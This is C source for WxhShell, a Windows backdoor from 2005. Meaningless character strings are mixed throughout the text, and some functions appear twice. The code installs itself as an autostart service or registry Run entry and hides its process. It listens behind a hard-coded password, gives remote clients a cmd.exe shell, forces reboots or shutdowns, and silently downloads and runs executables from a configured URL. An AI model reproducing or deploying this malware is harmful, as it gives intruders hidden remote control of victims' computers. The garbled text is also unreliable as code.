~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *[b>]GXd49 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PrfG 0nkC%j if (!NtQueryInformationProcess) return 0; )'RaMo` 4 P{QHG 3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z1($9hE> if(!hProcess) return 0; yw7(!1j= 7hPwa3D^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; / bH2Z aMHC+R1X CloseHandle(hProcess); %-K5sIz 84e8z { hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lEHXh2 if(hProcess==NULL) return 0; ;&}z
L.!jo (jyufHm HMODULE hMod; :HY =^$\ char procName[255]; xw_)~Y%\ unsigned long cbNeeded; (4ZO[Ae -K8F$\W if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o^"OKHU,S0 |sFd5X CloseHandle(hProcess); @+p(%
f.aa@> if(strstr(procName,"services")) return 1; // 以服务启动 H7Z`a QC {29aNm return 0; // 注册表启动 dy5}Jn%L } kn$_X4^? HRM-r~2:-] // 主模块 m`q&[: int StartWxhshell(LPSTR lpCmdLine) ewdTsgt' { L%\Wt1\[ SOCKET wsl; 52#6uBe BOOL val=TRUE; m2l9([u=^ int port=0; )wD/<7; struct sockaddr_in door; _
gYj@
% (^g XO if(wscfg.ws_autoins) Install(); A! HJ
Kj3Gm>B<y port=atoi(lpCmdLine); cbm;45 L| oUN\tOiS+ if(port<=0) port=wscfg.ws_port; "sDs[Lcq TKGaGMx6@ WSADATA data; 'yA/sZ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V'Kied+ ~$[fG}C.K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q^zG+FN setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -D=Sj@G door.sin_family = AF_INET; MVvBd3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); j}
^3v # door.sin_port = htons(port); M1#CB hjFht+j1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @>~\So| closesocket(wsl); HB}rpiB return 1; RU6c 8>" } kb/BEJ #wRhR>6 if(listen(wsl,2) == INVALID_SOCKET) { _TsN%)m closesocket(wsl); LJ@r+|> return 1; GU@#\3 } cRbA+0m> Wxhshell(wsl); q%$p56\?3 WSACleanup(); >C6S2ISSz {}Is&^3Z return 0; i(cKg&+ktd c@}t@k } Tt{z_gU6 </xf4.C // 以NT服务方式启动 R@tEC)Zn VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;A7JX:*?y= { m9:ah< DWORD status = 0; SvvNk DWORD specificError = 0xfffffff; w <"mS*Q &$_!S!Sa/ serviceStatus.dwServiceType = SERVICE_WIN32; eQ8t.~5;- serviceStatus.dwCurrentState = SERVICE_START_PENDING; dlCYdwP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i}v.x serviceStatus.dwWin32ExitCode = 0; oS9Od8 serviceStatus.dwServiceSpecificExitCode = 0; ZxT
E(BQv serviceStatus.dwCheckPoint = 0; BQg3+w:> serviceStatus.dwWaitHint = 0; &V(6N%A^U `Z5dRLrd hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mR
XRuK if (hServiceStatusHandle==0) return; x`@`y7( Ny$3$5/ status = GetLastError(); GQ@mQ=i if (status!=NO_ERROR) .RFH@'' { I{[Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2YW;=n serviceStatus.dwCheckPoint = 0; y1PyH serviceStatus.dwWaitHint = 0; G'-#99wv. serviceStatus.dwWin32ExitCode = status; HZWt>f serviceStatus.dwServiceSpecificExitCode = specificError; D^.
c: SetServiceStatus(hServiceStatusHandle, &serviceStatus); a*.#Zgy:lK return; `\\s%}vZ*T } qA`@~\qh" \6?a serviceStatus.dwCurrentState = SERVICE_RUNNING; zixG}' serviceStatus.dwCheckPoint = 0; KT<$E!@ serviceStatus.dwWaitHint = 0; h{ix$Xn~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nC%qdzT } C<(oaeQY Fih
pp< // 处理NT服务事件,比如:启动、停止 Ow4(1eE_ VOID WINAPI NTServiceHandler(DWORD fdwControl) +M_ _\7 { 4E=v)C' switch(fdwControl) T9Juq6| { LOfw
#+]d case SERVICE_CONTROL_STOP: <Ohi+a%6 serviceStatus.dwWin32ExitCode = 0; r#)1/`h serviceStatus.dwCurrentState = SERVICE_STOPPED; rg >2tgA serviceStatus.dwCheckPoint = 0; ZM v\j|{8 serviceStatus.dwWaitHint = 0; vVa|E#
[ { 5~IdWwG*w SetServiceStatus(hServiceStatusHandle, &serviceStatus); /(5"c> } sr&W+4T return; z
rSPa\M case SERVICE_CONTROL_PAUSE: y<Xu65 serviceStatus.dwCurrentState = SERVICE_PAUSED; fDqT7}L break; x:!s+q`
s case SERVICE_CONTROL_CONTINUE: bl^Ihza serviceStatus.dwCurrentState = SERVICE_RUNNING; .yXqa"p break; F/>\uzu case SERVICE_CONTROL_INTERROGATE: |%XTy7^a break; L98T!5) }; ~).D\Q\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q35\wQ# } p2t04p! G(#t,}S}@ // 标准应用程序主函数 C7NSmZ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z_ycH%p { p5or"tK M;ADL| // 获取操作系统版本 ~:T@SrVI OsIsNt=GetOsVer(); LPJ7V`!k GetModuleFileName(NULL,ExeFile,MAX_PATH); b=:u d[h 04;s@\yX4 // 从命令行安装 4FRi=d;mP if(strpbrk(lpCmdLine,"iI")) Install(); ~,1Sw7rE R`a~8QVh&5 // 下载执行文件 wxh\CBxG if(wscfg.ws_downexe) { QtKcv7:4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x$BNFb%I1 WinExec(wscfg.ws_filenam,SW_HIDE); @g5y_G{SP } ]&Y^ 5{V"!M+< if(!OsIsNt) { ;j1E 6 // 如果时win9x,隐藏进程并且设置为注册表启动 [I4MK%YQ HideProc(); ~d]v{<3 StartWxhshell(lpCmdLine); SU~.baP? } ~i%=1&K&` else &U]/SFY if(StartFromService()) <O'U-.
Gc // 以服务方式启动 >rEZ$h StartServiceCtrlDispatcher(DispatchTable); \uPzj_kU6 else "*t6KXVaM // 普通方式启动 a,RCK~GR StartWxhshell(lpCmdLine); %hYgG;22 '_.qhsS return 0; 4mo/MK&M: } 0 N>K4ho6{ zQY ,}a oHx:["F bGeIb-|( =========================================== 3jxC}xz) Hm'"I!jyO %w65)BFQ L>sLb(2\i nI6ompTX !mUJ["# " ^)>( <6 }BlyEcw'aN #include <stdio.h> r4*H96l #include <string.h> `K.B` #include <windows.h> !X-\;3kC0 #include <winsock2.h> C'$}{%Cc@$ #include <winsvc.h> 'A:Y&w"r #include <urlmon.h> kMch )f:i4.M #pragma comment (lib, "Ws2_32.lib") 2\1+M) #pragma comment (lib, "urlmon.lib") /y-D_ I{(!h90 #define MAX_USER 100 // 最大客户端连接数 lgU!D |v #define BUF_SOCK 200 // sock buffer cHF W"g78 #define KEY_BUFF 255 // 输入 buffer )>FAtE "PI;/(kR #define REBOOT 0 // 重启 Ex
p?x #define SHUTDOWN 1 // 关机 {\1bWr8!U hTn"/|_SW #define DEF_PORT 5000 // 监听端口 jerU[3 Ie^Ed` #define REG_LEN 16 // 注册表键长度 > U?\WgE$ #define SVC_LEN 80 // NT服务名长度 )9yQ
C 1}=D // 从dll定义API T"Y#u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rueaP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "{D/a7]lC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JL87a^ro typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WkA47+DsV ;`7~Q // wxhshell配置信息 h76j|1gI struct WSCFG { 9t\14tVwx int ws_port; // 监听端口 *%;A85V/ char ws_passstr[REG_LEN]; // 口令 "t4z)j; int ws_autoins; // 安装标记, 1=yes 0=no Cst1nGPL char ws_regname[REG_LEN]; // 注册表键名 -6- sI char ws_svcname[REG_LEN]; // 服务名 %;:![?M
char ws_svcdisp[SVC_LEN]; // 服务显示名 .2JZ7 char ws_svcdesc[SVC_LEN]; // 服务描述信息 }NC$Ce char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cDz@3So.b int ws_downexe; // 下载执行标记, 1=yes 0=no n?r8ZDJ' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pwfQqPC#_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }5vKQf 4%r?(C0x }; -1Li&K7 C<^i`[&P$ // default Wxhshell configuration mnM]@8^G struct WSCFG wscfg={DEF_PORT, )?[7}(4jI "xuhuanlingzhe", j? BL8E' 1, Q*#Lr4cm{ "Wxhshell", ON\bD?(VY "Wxhshell", _1gNU]" "WxhShell Service", WMtFXkf6" "Wrsky Windows CmdShell Service", C:Rs~@tl
"Please Input Your Password: ", vf3) T;X> 1, geyCS3
:p "http://www.wrsky.com/wxhshell.exe", Lbz/M_G "Wxhshell.exe" ;F@Sz/ }; Gxe)5,G i`F5 // 消息定义模块 :.g/=Q(T~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8` +=~S char *msg_ws_prompt="\n\r? for help\n\r#>"; |=IJ^y(x| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y+iRZ%V^ char *msg_ws_ext="\n\rExit."; 75Z|meG~ char *msg_ws_end="\n\rQuit."; AJi+JO- char *msg_ws_boot="\n\rReboot..."; np^&cY] char *msg_ws_poff="\n\rShutdown..."; b_ZvI\H char *msg_ws_down="\n\rSave to "; a.%ps: fU$Jh/#": char *msg_ws_err="\n\rErr!"; P
I"KY@>H char *msg_ws_ok="\n\rOK!"; 3 twA5)v zS;ruK%2 char ExeFile[MAX_PATH]; 2K>1,[ C'Z int nUser = 0; rwj+N%N HANDLE handles[MAX_USER]; 6t; ;Fz int OsIsNt; X:Z3R0 p)B/(% SERVICE_STATUS serviceStatus; J(#6Cld`c SERVICE_STATUS_HANDLE hServiceStatusHandle; G;cC!x< O"~[njwkE // 函数声明 MS""-zn< int Install(void); %^lD int Uninstall(void); Gf.ywqE$Y$ int DownloadFile(char *sURL, SOCKET wsh); 72~L ? int Boot(int flag); F*U(Wl= void HideProc(void); }b54O\, int GetOsVer(void); ~|=D.}#$ int Wxhshell(SOCKET wsl); Q9OCf"n $ void TalkWithClient(void *cs); B`eK_'7t int CmdShell(SOCKET sock); UeFJ5n'x: int StartFromService(void); *RS/`a;, int StartWxhshell(LPSTR lpCmdLine); Fya*[)HBo A;rk4)lij VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Be hU VOID WINAPI NTServiceHandler( DWORD fdwControl ); c9 EtUv~ _$$.5?4 // 数据结构和表定义 ^)]U5+g? SERVICE_TABLE_ENTRY DispatchTable[] = F,S)P`? { u=nd7:bv {wscfg.ws_svcname, NTServiceMain}, }@6Ze$> {NULL, NULL} QD%xmP }; 26aDPTP $< 5OWyxO3{ // 自我安装 ++b[>}; int Install(void) k vZ w4Pk { ~ `}),aA char svExeFile[MAX_PATH]; <MJU:m$3 HKEY key; vai w*?jV strcpy(svExeFile,ExeFile); NL:-3W7vf npzp/mcIe) // 如果是win9x系统,修改注册表设为自启动 xDw~n (* if(!OsIsNt) { z**2-4 z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (mP{A(kwJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |1CX?8)b= RegCloseKey(key); nyPeN?- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rGNa[1{kRs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0e0)1;t\ RegCloseKey(key); H'#06zP>5 return 0; h9 DUS,G9, } ,(q]
$eOZ } grE(8M } 0#TL$?=| else { ?u:`?(\ L~/,;PHN // 如果是NT以上系统,安装为系统服务 f$:Y'$Z1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lv/im/]v if (schSCManager!=0) l9uocP:D { 3 orZBT SC_HANDLE schService = CreateService `Ns@W? ( !{+CzUo@ schSCManager, 'MW%\W; wscfg.ws_svcname, O'(Us!aq wscfg.ws_svcdisp, ( gg )? SERVICE_ALL_ACCESS, AJB
NM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , giu{,gS0?M SERVICE_AUTO_START, E`_T_O=P SERVICE_ERROR_NORMAL, B /uaRi% svExeFile, 4F.,Y3 NULL, P`@Rt NULL, ] :LlOv$ NULL, A{;"e^a-^l NULL, z<9C- NULL *;}xg{@ ); 8>WA5:]v if (schService!=0) 5QK%BiDlr { J/P[9m30[ CloseServiceHandle(schService); +pG+ xI CloseServiceHandle(schSCManager);
t[+bZUS$~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "9'3mmZm=? strcat(svExeFile,wscfg.ws_svcname); zx<PX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { db,?b>,EE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8<}=f4vUj5 RegCloseKey(key); AJ6l#j- return 0; (" :Dz_ } `Gv\"|Gn } uz+WVmb CloseServiceHandle(schSCManager); 2iM}YCV } v\dQjQu8m } 6oLOA}q eb`3'&zV&) return 1; AP%R*0] } >?K=l]!(* })<u~r // 自我卸载 Pl/Xh03E int Uninstall(void) /7"V~c6 { VsSAb% HKEY key; 4G I3|{ w( SY if(!OsIsNt) { A^M]vk%dg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bvh#Q_ RegDeleteValue(key,wscfg.ws_regname); }v}F8}4 RegCloseKey(key); ``<#F3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !%M,x~H RegDeleteValue(key,wscfg.ws_regname); Q/3*65 RegCloseKey(key); 5B|.cOE return 0; s"#N; } &'i_A%V } bL* b>R[x } Gr\jjf` else { w;}5B~). Nb:j]U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AJ>E\DK0] if (schSCManager!=0) c-JXWNz { `XE>Td>Bs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Y"S4<"R if (schService!=0) 0cKsGDm { 2;T?ry7 if(DeleteService(schService)!=0) { ?bM%#x{e CloseServiceHandle(schService); Uf+y$n- CloseServiceHandle(schSCManager); TYD( 6N return 0; bC+ZR{M } #!z-)[S.+ CloseServiceHandle(schService); E8Kk)7 } y "+'4:_ CloseServiceHandle(schSCManager); cO{NiRIb } >
"rM\ Q } %[KnpJ{\ f=V`Nn<=A return 1; p}sM"}Ul } *LhwIY 1Q
FsT // 从指定url下载文件 'Up75eT int DownloadFile(char *sURL, SOCKET wsh) IY6Ll6OK { X%s5D&gr HRESULT hr; wN'S+4 char seps[]= "/"; n:40T1:q char *token; ,=C ipL9] char *file; _+P*XY5 char myURL[MAX_PATH]; 0
N7I:vJ char myFILE[MAX_PATH]; p/_W*0/i 9;XbyA] strcpy(myURL,sURL); MVzj7~+ token=strtok(myURL,seps); p_BG#dRM while(token!=NULL) ^PFiO 12 { KB~1]cYMp file=token;
,d/$!Yf token=strtok(NULL,seps); {@L{l1|0 } gQik>gFr `:Wyw<^ GetCurrentDirectory(MAX_PATH,myFILE); !NNPg?Y strcat(myFILE, "\\"); z =H?@z strcat(myFILE, file); `f}ZAX send(wsh,myFILE,strlen(myFILE),0); |0Fo{ send(wsh,"...",3,0); 8*&-u +@% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B /3~[ ' if(hr==S_OK) }N-UlL( return 0; =>PX~/o else W (TTsnnx return 1; .(Ux1.0C }Y.@:v
j } 5YPIv- n1|]ji[c // 系统电源模块 +7OE,RoQ int Boot(int flag) W:n\,P { 4J,6cOuW4 HANDLE hToken; Mfz(%F|< TOKEN_PRIVILEGES tkp; <5KoK!H Eyf17 if(OsIsNt) { b?0WA.[{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J6EzD\.Y) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hU( tkp.PrivilegeCount = 1; \I i#R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $#e}9g. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (421$w,B% if(flag==REBOOT) { ?~.9:93 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E l.eK9L return 0; dk] } B> i^ w1 else { N%:uOX8{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hh](n<Bs return 0; kKbbsB } H4v%$R;K } `4@`G:6BL else { *tZ3?X[b if(flag==REBOOT) { |U1u:=[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5C*Zb3VG4 return 0; p({|=+bl } :.H@tBi*E else { OdyL
j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _`QME r? return 0; jyg>'"W } gHUW1E } >@4Ds"Ye"O a&[[@1OY return 1; yT3K 2A } i)@vHh82 /-<]v3J // win9x进程隐藏模块 1: cq\Y void HideProc(void) A+Je?3/. { ocW`sE?EED cQh{z8Bf?< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (ce)A,; if ( hKernel != NULL ) zXGI{P0O { Q!~1Xc0S`p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KYcc jX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /s)It FreeLibrary(hKernel); 25, [<Ao } ;ACeY O{]}{Ss return; 4byh,t } w\t 2s 9U& // 获取操作系统版本 'uUa|J1mu int GetOsVer(void) Jz;`L3m { 0x'Fi2=` OSVERSIONINFO winfo; $3#oA.~R/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~U?vB((j! GetVersionEx(&winfo); ~c1~)QzZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u_WW
uo return 1; NFIFCy! else }?{. 'Hv0 return 0; T^xp2cZ } H'EBe;ccM =8r,-3lC; // 客户端句柄模块 5hCfi int Wxhshell(SOCKET wsl) mn<ea& { *LmzGF| SOCKET wsh; S!}pL8OE struct sockaddr_in client; T?__ DWORD myID; ~;I{d7z,; mOjl0n[To] while(nUser<MAX_USER) -IV-"-6( { AQ.q?'vE) int nSize=sizeof(client); 0XIrEwm@% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S;vZXgyN? if(wsh==INVALID_SOCKET) return 1; Xw^:<Nx: DUm/0q& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QQ,w:OjA0 if(handles[nUser]==0) )>=|oY3 closesocket(wsh); )^^}!U#|e else @D<Q'7mLh nUser++; kS7T'[d } Y50$2%kM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T5U(B3j_ H
@E-=Ly return 0; 8J9o$Se } {24Pv#ZG#^ 'Uo:b< // 关闭 socket P#Ikj&l void CloseIt(SOCKET wsh) i%B$p0U< { tQ?}x#J closesocket(wsh); e''Wm.>g(+ nUser--; gwF@'Uu ExitThread(0); !lB,2_ } q%^gG03. )=D9L // 客户端请求句柄 Ipmr@%~ void TalkWithClient(void *cs) ==j39 { ~RE`@/wQ] Y.Ew;\6U SOCKET wsh=(SOCKET)cs; 8%U)EU char pwd[SVC_LEN]; 3?/} char cmd[KEY_BUFF]; |y=D^NTG char chr[1]; #$fFp int i,j; cKy%0oTla |b7>kM}" while (nUser < MAX_USER) { {k~$\J?.
ae1fCw3k if(wscfg.ws_passstr) { ]R]X#jm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ')FNudsC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `^N;%[c`z //ZeroMemory(pwd,KEY_BUFF); .g&BA15<F6 i=0; E3KPJ`=!*" while(i<SVC_LEN) { _H3cqD N4mQN90t // 设置超时 aH$*Ue@Q fd_set FdRead; A><%"9pZ struct timeval TimeOut; +Q_Gm3^ FD_ZERO(&FdRead); qC|re!K FD_SET(wsh,&FdRead); QU4'x4YS TimeOut.tv_sec=8; #6m//0 u TimeOut.tv_usec=0; C"mb-n7s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KoXXNJax if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J<zg 'Jk^ 4Y/!V[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uc"u@ _M pwd=chr[0]; wLUmRo56aR if(chr[0]==0xd || chr[0]==0xa) { >zhbipA pwd=0; ZmHl~MR@ break; {S&&X&A`v } *AN#D?X_ i++; |m EJJg`"7 } XAFTLNV> g%[Ruugu // 如果是非法用户,关闭 socket IH0^*f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nMbV{h , } #5I "M WA t[
MRyi)LF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `4p9K send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BzUx@, lJ,s}l7 while(1) { MR6vr.~ JuI,wA ZeroMemory(cmd,KEY_BUFF); ?8nG F%p / q!&I // 自动支持客户端 telnet标准 @<sP1`1 j=0; Z,&ywMm/G while(j<KEY_BUFF) { 5LK>n- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]-`{kX cmd[j]=chr[0]; \%VoX`B if(chr[0]==0xa || chr[0]==0xd) { g?+P&FL#I cmd[j]=0; ?{dno= break; O&0R ~<n } [(K^x?\Y0' j++; dk ?0r } ,J#5Y. >) ^!gz8 // 下载文件 7I
if(strstr(cmd,"http://")) { 8vP)qy8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ljCgIfZ_4 if(DownloadFile(cmd,wsh)) w/<hyEpxg send(wsh,msg_ws_err,strlen(msg_ws_err),0); n#fg7d% else 0?sp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&h|r`W( } ]_,~q@r$ else { S {H8}m|MW w{qYP switch(cmd[0]) { 5f5`7uVJF s_8!x // 帮助 uQNoIy J) case '?': { 1WKDG~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W2k~N X#@ break; Glr.)PA } J.d `tiN // 安装 w?C\YKF7 case 'i': { ?m.4f&X if(Install()) $p@g#3X` send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Q"<q`c else tpD?-`9o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); StVv"YY break; b6(yyYdF } -d~'tti // 卸载 5*r6#[S\ case 'r': { ~eP2PG if(Uninstall()) !]nCeo send(wsh,msg_ws_err,strlen(msg_ws_err),0); cG'Wh@ else Ww~0k!8,t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l9h;dI{6 break; =EJ"edw]%0 } \4[Ta,;t // 显示 wxhshell 所在路径 tQ67XAb case 'p': { {mQJ6
G'ny char svExeFile[MAX_PATH]; #@fypCc strcpy(svExeFile,"\n\r"); gr=`_k4~1 strcat(svExeFile,ExeFile); XTJ>y@ send(wsh,svExeFile,strlen(svExeFile),0); vX\e*
v break; GSH{1VS_b } >A/=eW/q // 重启 (r4\dp& case 'b': { dw|0K+-PH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
"gz;Q if(Boot(REBOOT)) ;~J~g# send(wsh,msg_ws_err,strlen(msg_ws_err),0); _<7FR:oBZ else { \zUsHK?L"t closesocket(wsh); NC}#P<U ExitThread(0); ){:aGGtko } DvCt^O* break; ~e<<aTwN } v2'JL(= // 关机 &?nF';& case 'd': { "q.uiz+1: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); di5_5_$`o if(Boot(SHUTDOWN)) A@OV!DJe] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1c!},O else { ap~Iz closesocket(wsh); xTMTkVa+B ExitThread(0); [)A#9L~s= } fLAF/#\2 break; 2LU'C,o? } P>-,6a> // 获取shell ?
h%+2 case 's': { D,/9rH CmdShell(wsh); Ah6x2(: closesocket(wsh); 08a|]li ExitThread(0); ]Yex#K
break; ihrrmlN? } ,0bM*qob // 退出 MVdx5,t case 'x': { :N}KScS|Wa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eZi<C}z CloseIt(wsh); (&,R1dLo break; .)w0C%] } `uHpj`EU // 离开 G
m! ]
case 'q': { Tt|6N*b' send(wsh,msg_ws_end,strlen(msg_ws_end),0); *
U4:K@y closesocket(wsh); sBnPS[Oo WSACleanup(); beE%%C]X exit(1); K~-XDLh5Nu break; ZZ*k3Ce } [B`P]}gL: } ;G]'}$`/q } :\_MA^< F.D1;,x // 提示信息 c^IEj1@}'? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (q N(#~ } H@'
@xHv } ;[ueNP%*y| I/jr`3Mj return; XD }_9p } eB*8)gYh ;r"B?] JO // shell模块句柄 em}Qv3*# int CmdShell(SOCKET sock) 1 ,'^BgI, { c&-$?f
r STARTUPINFO si; {2r7:nvR ZeroMemory(&si,sizeof(si)); P*Sip?tdE si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z_@zMLs si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FaE orQ PROCESS_INFORMATION ProcessInfo; g"S+V#R char cmdline[]="cmd"; d
A{Jk CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |"w<CKlQ return 0; J94YMyOo } d|RmU/) >:&p(eu)L0 // 自身启动模式 0K0=Ob^(e int StartFromService(void) l0if#?4\r { r$Y!Y#hwQ typedef struct WI_mJ/2 { ]_8I_VcQ DWORD ExitStatus;
}92lr87 DWORD PebBaseAddress; !p2,|6Y`y DWORD AffinityMask; D(U3zXdO DWORD BasePriority; @(fY4]K ULONG UniqueProcessId; ilpZ/Rs ULONG InheritedFromUniqueProcessId; P%HyIODS } PROCESS_BASIC_INFORMATION; *%'7~58ObS G!%XQ\a! PROCNTQSIP NtQueryInformationProcess; {NgY8wQB \3?;[xD static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B
RjKV static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4^_Au^8R( 9?chCO(@ HANDLE hProcess; .MARF PROCESS_BASIC_INFORMATION pbi; _4B iF?1 n@[</E( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .BDRD~kB if(NULL == hInst ) return 0; TJS1,3< kTc5KHJ7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F{~r7y;0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ ]wem NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ULmdt
{0WIDD if (!NtQueryInformationProcess) return 0; 4Xk;Qd F6]!?@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #'J7Wy if(!hProcess) return 0; C+m^Z[ -G#@BtB2+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^i)Q
CDU7 X]U"ru{1q CloseHandle(hProcess); Z)T@`B6
